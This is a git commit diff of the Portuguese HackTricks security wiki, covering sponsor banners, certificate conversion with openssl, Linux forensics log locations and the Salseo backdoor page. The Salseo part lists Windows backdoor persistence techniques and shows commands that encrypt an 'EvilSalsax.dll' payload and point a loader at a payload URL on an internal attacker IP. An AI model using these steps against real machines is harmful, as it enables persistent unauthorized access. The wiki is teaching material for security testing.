Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
BIN
.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 7.8 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 48 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 76 KiB |
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 237 KiB |
Before Width: | Height: | Size: 237 KiB After Width: | Height: | Size: 223 KiB |
10
README.md
|
@ -32,7 +32,7 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
|
|||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) é o evento de segurança cibernética mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e segurança cibernética em todas as disciplinas.
|
||||
|
||||
|
@ -40,20 +40,20 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** é a plataforma de ethical hacking e **bug bounty número 1 da Europa.**
|
||||
|
||||
Dica de bug bounty: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
|
||||
Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as **ferramentas comunitárias mais avançadas** do mundo.
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.
|
||||
|
||||
Acesse hoje mesmo:
|
||||
|
||||
|
|
|
@ -39,47 +39,38 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
```
|
||||
# Backdoors em Windows
|
||||
|
||||
Um backdoor é uma forma de acesso não autorizado a um sistema ou rede, que permite ao invasor contornar as medidas de segurança e obter controle total sobre o sistema comprometido. Existem várias técnicas para criar backdoors em sistemas Windows, algumas das quais são discutidas abaixo.
|
||||
Um backdoor é uma forma de acesso não autorizado a um sistema ou rede, que permite ao invasor contornar as medidas de segurança e obter controle remoto sobre o sistema comprometido. Existem várias técnicas para criar backdoors em sistemas Windows, algumas das quais são descritas abaixo.
|
||||
|
||||
## 1. Backdoors baseados em porta
|
||||
## 1. Porta dos fundos do Registro do Windows
|
||||
|
||||
Os backdoors baseados em porta são criados abrindo uma porta de comunicação em um sistema Windows comprometido. Isso permite que o invasor se conecte remotamente ao sistema usando essa porta e execute comandos ou acesse arquivos e recursos do sistema.
|
||||
Uma maneira comum de criar um backdoor em um sistema Windows é adicionar uma entrada de registro que execute um programa malicioso sempre que o sistema for iniciado. Isso pode ser feito adicionando uma chave de registro em uma das seguintes localizações:
|
||||
|
||||
## 2. Backdoors baseados em serviço
|
||||
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
|
||||
Os backdoors baseados em serviço são criados instalando um serviço malicioso no sistema Windows comprometido. Esse serviço é executado em segundo plano e permite que o invasor mantenha acesso persistente ao sistema, mesmo após reinicializações.
|
||||
## 2. Backdoors baseados em serviços
|
||||
|
||||
## 3. Backdoors baseados em registro
|
||||
Outra técnica comum é criar um backdoor como um serviço do Windows. Isso envolve a criação de um serviço que é executado em segundo plano e pode ser configurado para iniciar automaticamente quando o sistema é inicializado. O serviço pode ser configurado para executar um programa malicioso ou fornecer um shell remoto para o invasor.
|
||||
|
||||
Os backdoors baseados em registro são criados adicionando entradas maliciosas ao registro do sistema Windows comprometido. Essas entradas são configuradas para serem executadas sempre que o sistema é inicializado, permitindo que o invasor mantenha acesso persistente ao sistema.
|
||||
## 3. Backdoors baseados em arquivos DLL
|
||||
|
||||
## 4. Backdoors baseados em arquivo
|
||||
Os arquivos DLL (Dynamic Link Library) são componentes do sistema operacional Windows que contêm código e dados compartilhados por vários programas. Um backdoor pode ser criado substituindo uma DLL legítima por uma versão modificada que executa código malicioso. Quando um programa legítimo é executado e carrega a DLL modificada, o código malicioso é executado em segundo plano.
|
||||
|
||||
Os backdoors baseados em arquivo são criados adicionando um arquivo malicioso ao sistema Windows comprometido. Esse arquivo é configurado para ser executado sempre que o sistema é inicializado, permitindo que o invasor mantenha acesso persistente ao sistema.
|
||||
## 4. Backdoors baseados em drivers
|
||||
|
||||
## 5. Backdoors baseados em DLL
|
||||
Os drivers são programas que permitem que o sistema operacional Windows se comunique com dispositivos de hardware. Um backdoor pode ser criado substituindo um driver legítimo por uma versão modificada que executa código malicioso. Quando o driver é carregado pelo sistema operacional, o código malicioso é executado em segundo plano.
|
||||
|
||||
Os backdoors baseados em DLL são criados substituindo uma DLL legítima do sistema Windows comprometido por uma DLL maliciosa. Essa DLL maliciosa é carregada sempre que um programa usa a DLL legítima, permitindo que o invasor execute comandos ou acesse recursos do sistema.
|
||||
## 5. Backdoors baseados em aplicativos legítimos
|
||||
|
||||
## 6. Backdoors baseados em chave de registro
|
||||
Uma técnica menos comum é modificar um aplicativo legítimo para incluir um backdoor. Isso pode ser feito modificando o código do aplicativo ou injetando código malicioso em tempo de execução. Quando o aplicativo é executado, o backdoor é ativado e permite ao invasor obter acesso não autorizado ao sistema.
|
||||
|
||||
Os backdoors baseados em chave de registro são criados adicionando uma chave de registro maliciosa ao sistema Windows comprometido. Essa chave de registro é configurada para ser executada sempre que o sistema é inicializado, permitindo que o invasor mantenha acesso persistente ao sistema.
|
||||
## 6. Backdoors baseados em exploits
|
||||
|
||||
## 7. Backdoors baseados em agendador de tarefas
|
||||
Os exploits são vulnerabilidades de segurança em sistemas operacionais ou aplicativos que podem ser exploradas para obter acesso não autorizado. Um backdoor pode ser criado aproveitando um exploit conhecido e explorando-o para obter acesso ao sistema. Isso geralmente requer conhecimento avançado de programação e segurança.
|
||||
|
||||
Os backdoors baseados em agendador de tarefas são criados adicionando uma tarefa maliciosa ao agendador de tarefas do sistema Windows comprometido. Essa tarefa é configurada para ser executada em intervalos regulares, permitindo que o invasor mantenha acesso persistente ao sistema.
|
||||
## Conclusão
|
||||
|
||||
## 8. Backdoors baseados em driver
|
||||
|
||||
Os backdoors baseados em driver são criados instalando um driver malicioso no sistema Windows comprometido. Esse driver é carregado sempre que o sistema é inicializado, permitindo que o invasor execute comandos ou acesse recursos do sistema.
|
||||
|
||||
## 9. Backdoors baseados em rootkit
|
||||
|
||||
Os backdoors baseados em rootkit são criados instalando um rootkit no sistema Windows comprometido. Um rootkit é um conjunto de ferramentas e técnicas que permite ao invasor ocultar sua presença no sistema, tornando difícil a detecção e remoção do backdoor.
|
||||
|
||||
## 10. Backdoors baseados em malware
|
||||
|
||||
Os backdoors baseados em malware são criados instalando um malware no sistema Windows comprometido. Esse malware pode ser projetado para abrir uma porta de comunicação, instalar um serviço malicioso ou executar outras ações que permitem ao invasor manter acesso persistente ao sistema.
|
||||
Essas são apenas algumas das técnicas comuns usadas para criar backdoors em sistemas Windows. É importante estar ciente dessas técnicas para poder proteger seu sistema contra ataques e garantir a segurança de seus dados.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
|
@ -135,17 +126,17 @@ Abra o projeto SalseoLoader usando o Visual Studio.
|
|||
|
||||
### Adicione antes da função principal: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Instale o DllExport para este projeto
|
||||
|
||||
#### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Procure pelo pacote DllExport (usando a guia Procurar) e pressione Instalar (e aceite o popup)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
Na pasta do seu projeto, aparecerão os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
|
||||
|
||||
|
@ -167,7 +158,7 @@ Selecione **x64** (se você for usá-lo em uma máquina x64, esse foi o meu caso
|
|||
|
||||
### **Abra o projeto novamente com o Visual Studio**
|
||||
|
||||
**\[DllExport]** não deve mais estar marcado como erro
|
||||
**\[DllExport]** não deve mais ser marcado como erro
|
||||
|
||||
![](<../.gitbook/assets/image (8) (1).png>)
|
||||
|
||||
|
@ -181,7 +172,7 @@ Selecione a **plataforma x64** (Projeto --> Propriedades do SalseoLoader --> Com
|
|||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
Para **compilar** a solução: Build --> Build Solution (Dentro do console de saída, aparecerá o caminho da nova DLL)
|
||||
Para **compilar** a solução: Build --> Build Solution (Dentro do console de saída, o caminho da nova DLL aparecerá)
|
||||
|
||||
### Teste a DLL gerada
|
||||
|
||||
|
@ -216,7 +207,7 @@ Os hackers podem aproveitar o CMD para executar várias atividades maliciosas, c
|
|||
|
||||
Para evitar o uso indevido do CMD, é recomendável implementar medidas de segurança, como restringir o acesso ao CMD, monitorar atividades suspeitas e manter o sistema operacional e os aplicativos atualizados com as últimas correções de segurança.
|
||||
|
||||
Em resumo, o CMD é uma ferramenta poderosa que pode ser usada tanto para fins legítimos quanto maliciosos. É essencial entender seu funcionamento e tomar precauções adequadas para garantir a segurança do sistema.
|
||||
No entanto, é importante ressaltar que o CMD também é uma ferramenta legítima e útil para administradores de sistemas e usuários avançados. Portanto, seu uso deve ser feito com responsabilidade e dentro dos limites legais e éticos.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -22,7 +22,7 @@ Acesse hoje:
|
|||
|
||||
## O que é um Certificado
|
||||
|
||||
Em criptografia, um **certificado de chave pública**, também conhecido como **certificado digital** ou **certificado de identidade**, é um documento eletrônico usado para comprovar a propriedade de uma chave pública. O certificado inclui informações sobre a chave, informações sobre a identidade de seu proprietário (chamado de sujeito) e a assinatura digital de uma entidade que verificou o conteúdo do certificado (chamada de emissor). Se a assinatura for válida e o software que examina o certificado confiar no emissor, ele pode usar essa chave para se comunicar de forma segura com o sujeito do certificado.
|
||||
Em criptografia, um **certificado de chave pública**, também conhecido como **certificado digital** ou **certificado de identidade**, é um documento eletrônico usado para comprovar a propriedade de uma chave pública. O certificado inclui informações sobre a chave, informações sobre a identidade do seu proprietário (chamado de sujeito) e a assinatura digital de uma entidade que verificou o conteúdo do certificado (chamada de emissor). Se a assinatura for válida e o software que examina o certificado confiar no emissor, ele pode usar essa chave para se comunicar de forma segura com o sujeito do certificado.
|
||||
|
||||
Em um esquema típico de [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI), o emissor do certificado é uma [autoridade de certificação](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), geralmente uma empresa que cobra dos clientes para emitir certificados para eles. Em contraste, em um esquema de [rede de confiança](https://en.wikipedia.org/wiki/Web\_of\_trust), os indivíduos assinam as chaves uns dos outros diretamente, em um formato que desempenha uma função semelhante a um certificado de chave pública.
|
||||
|
||||
|
@ -194,19 +194,22 @@ openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
|||
```
|
||||
**2- Converter PEM para PKCS8**
|
||||
|
||||
Às vezes, é necessário converter um arquivo no formato PEM para o formato PKCS8. O formato PEM é amplamente utilizado para armazenar chaves privadas e certificados em texto simples. Por outro lado, o formato PKCS8 é um formato de chave privada mais estruturado e compatível com uma variedade de aplicativos.
|
||||
Às vezes, é necessário converter um arquivo no formato PEM (Privacy-Enhanced Mail) para o formato PKCS8 (Public-Key Cryptography Standards #8). O formato PKCS8 é amplamente utilizado para armazenar chaves privadas criptografadas.
|
||||
|
||||
Para converter um arquivo PEM para PKCS8, você pode usar a ferramenta OpenSSL. Abaixo está o comando que você pode usar:
|
||||
Para converter um arquivo PEM para PKCS8, você pode usar a ferramenta OpenSSL. Siga as etapas abaixo:
|
||||
|
||||
```bash
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in chave_privada.pem -out chave_privada.pkcs8 -nocrypt
|
||||
```
|
||||
1. Abra o terminal ou prompt de comando.
|
||||
2. Execute o seguinte comando para converter o arquivo PEM para PKCS8:
|
||||
|
||||
Neste comando, você precisa substituir "chave_privada.pem" pelo caminho e nome do arquivo PEM que deseja converter. O arquivo convertido será salvo como "chave_privada.pkcs8".
|
||||
```
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in chave_privada.pem -out chave_privada.pkcs8 -nocrypt
|
||||
```
|
||||
|
||||
É importante observar que o parâmetro "-nocrypt" é usado para não criptografar a chave privada convertida. Se você deseja adicionar uma senha à chave privada convertida, basta remover esse parâmetro e o OpenSSL solicitará uma senha durante o processo de conversão.
|
||||
Certifique-se de substituir "chave_privada.pem" pelo caminho e nome do seu arquivo PEM.
|
||||
|
||||
Depois de executar o comando, você terá um arquivo no formato PKCS8 que pode ser usado em aplicativos compatíveis com esse formato.
|
||||
3. Após executar o comando, o arquivo PEM será convertido para o formato PKCS8 e salvo como "chave_privada.pkcs8".
|
||||
|
||||
Agora você tem um arquivo no formato PKCS8 que pode ser usado em várias aplicações que suportam esse formato.
|
||||
```
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
|
@ -237,7 +240,7 @@ Após a conclusão do processo, você terá um arquivo PFX que contém o certifi
|
|||
```
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# Forense Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,8 +12,8 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -85,7 +85,7 @@ LiME também pode ser usado para **enviar o dump via rede** em vez de armazená-
|
|||
Antes de tudo, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\
|
||||
Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento abrupto**. O primeiro permitirá que os **processos terminem normalmente** e que o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem de "desligamento abrupto" pode causar **alguma perda de informações** (não muitas informações serão perdidas, pois já fizemos uma imagem da memória) e o **malware não terá oportunidade** de fazer nada a respeito. Portanto, se você **suspeitar** que possa haver um **malware**, execute o **comando `sync`** no sistema e desligue abruptamente.
|
||||
|
||||
#### Fazendo uma imagem do disco
|
||||
#### Tirando uma imagem do disco
|
||||
|
||||
É importante observar que, **antes de conectar seu computador a qualquer coisa relacionada ao caso**, você precisa ter certeza de que ele será **montado como somente leitura** para evitar modificar qualquer informação.
|
||||
```bash
|
||||
|
@ -151,7 +151,7 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -206,11 +206,11 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
|||
#RedHat
|
||||
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -253,7 +253,7 @@ Em sistemas Linux, os módulos do kernel são comumente usados como componentes
|
|||
|
||||
### Outros Locais de Inicialização Automática
|
||||
|
||||
Existem vários arquivos de configuração que o Linux usa para iniciar automaticamente um executável quando um usuário faz login no sistema, que podem conter vestígios de malwares.
|
||||
Existem vários arquivos de configuração que o Linux usa para iniciar automaticamente um executável quando um usuário faz login no sistema, e esses arquivos podem conter vestígios de malwares.
|
||||
|
||||
* _**/etc/profile.d/\***_, _**/etc/profile**_, _**/etc/bash.bashrc**_ são executados quando qualquer conta de usuário faz login.
|
||||
* _**∼/.bashrc**_, _**∼/.bash\_profile**_, _**\~/.profile**_, _**∼/.config/autostart**_ são executados quando o usuário específico faz login.
|
||||
|
@ -261,27 +261,27 @@ Existem vários arquivos de configuração que o Linux usa para iniciar automati
|
|||
|
||||
## Examinar Logs
|
||||
|
||||
Procure em todos os arquivos de log disponíveis no sistema comprometido por vestígios de execução maliciosa e atividades associadas, como a criação de um novo serviço.
|
||||
Verifique todos os arquivos de log disponíveis no sistema comprometido em busca de vestígios de execução maliciosa e atividades associadas, como a criação de um novo serviço.
|
||||
|
||||
### Logs Puros
|
||||
|
||||
Eventos de **login** registrados nos logs do sistema e de segurança, incluindo logins via rede, podem revelar que um **malware** ou um **intruso ganhou acesso** a um sistema comprometido por meio de uma determinada conta em um horário específico. Outros eventos em torno do momento de uma infecção por malware podem ser capturados nos logs do sistema, incluindo a **criação** de um **novo** **serviço** ou novas contas em torno do momento de um incidente.\
|
||||
Eventos de **login** registrados nos logs do sistema e de segurança, incluindo logins via rede, podem revelar que um **malware** ou um **intruso ganhou acesso** a um sistema comprometido por meio de uma determinada conta em um horário específico. Outros eventos em torno do momento de uma infecção por malware podem ser capturados nos logs do sistema, incluindo a **criação** de um **novo** **serviço** ou novas contas próximas ao momento de um incidente.\
|
||||
Logins do sistema interessantes:
|
||||
|
||||
* **/var/log/syslog** (debian) ou **/var/log/messages** (Redhat)
|
||||
* Mostra mensagens gerais e informações sobre o sistema. É um registro de dados de todas as atividades em todo o sistema global.
|
||||
* **/var/log/auth.log** (debian) ou **/var/log/secure** (Redhat)
|
||||
* Mantém logs de autenticação para logins bem-sucedidos ou falhados e processos de autenticação. O armazenamento depende do tipo de sistema.
|
||||
* Mantém logs de autenticação para logins bem-sucedidos ou falhos e processos de autenticação. O armazenamento depende do tipo de sistema.
|
||||
* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"`
|
||||
* **/var/log/boot.log**: mensagens de inicialização e informações de inicialização.
|
||||
* **/var/log/maillog** ou **var/log/mail.log**: é para logs do servidor de e-mail, útil para informações sobre serviços relacionados a postfix, smtpd ou e-mail em execução no servidor.
|
||||
* **/var/log/kern.log**: mantém logs e informações de aviso do Kernel. Logs de atividade do Kernel (por exemplo, dmesg, kern.log, klog) podem mostrar que um determinado serviço travou repetidamente, indicando potencialmente que uma versão trojanizada instável foi instalada.
|
||||
* **/var/log/dmesg**: um repositório para mensagens do driver do dispositivo. Use **dmesg** para ver as mensagens neste arquivo.
|
||||
* **/var/log/faillog**: registra informações sobre logins falhados. Portanto, útil para examinar possíveis violações de segurança, como invasões de credenciais de login e ataques de força bruta.
|
||||
* **/var/log/cron**: mantém um registro de mensagens relacionadas ao Crond (trabalhos cron). Como quando o daemon cron iniciou um trabalho.
|
||||
* **/var/log/faillog**: registra informações sobre logins falhos. Portanto, útil para examinar possíveis violações de segurança, como invasões de credenciais de login e ataques de força bruta.
|
||||
* **/var/log/cron**: mantém um registro de mensagens relacionadas ao Crond (trabalhos cron). Por exemplo, quando o daemon cron iniciou um trabalho.
|
||||
* **/var/log/daemon.log**: acompanha os serviços em execução em segundo plano, mas não os representa graficamente.
|
||||
* **/var/log/btmp**: registra todas as tentativas de login falhadas.
|
||||
* **/var/log/httpd/**: um diretório que contém os arquivos error\_log e access\_log do daemon Apache httpd. Todos os erros encontrados pelo httpd são mantidos no arquivo **error\_log**. Pense em problemas de memória e outros erros relacionados ao sistema. **access\_log** registra todas as solicitações recebidas via HTTP.
|
||||
* **/var/log/btmp**: registra todas as tentativas de login falhas.
|
||||
* **/var/log/httpd/**: um diretório que contém os arquivos error\_log e access\_log do daemon Apache httpd. Todos os erros encontrados pelo httpd são registrados no arquivo **error\_log**. Pense em problemas de memória e outros erros relacionados ao sistema. **access\_log** registra todas as solicitações recebidas via HTTP.
|
||||
* **/var/log/mysqld.log** ou **/var/log/mysql.log**: arquivo de log do MySQL que registra todas as mensagens de depuração, falhas e sucessos, incluindo o início, parada e reinício do daemon mysqld do MySQL. O sistema decide o diretório. Sistemas baseados em RedHat, CentOS, Fedora e outros sistemas baseados em RedHat usam /var/log/mariadb/mariadb.log. No entanto, o Debian/Ubuntu usa o diretório /var/log/mysql/error.log.
|
||||
* **/var/log/xferlog**: mantém sessões de transferência de arquivos FTP. Inclui informações como nomes de arquivos e transferências FTP iniciadas pelo usuário.
|
||||
* **/var/log/\***: você sempre deve verificar logs inesperados neste diretório
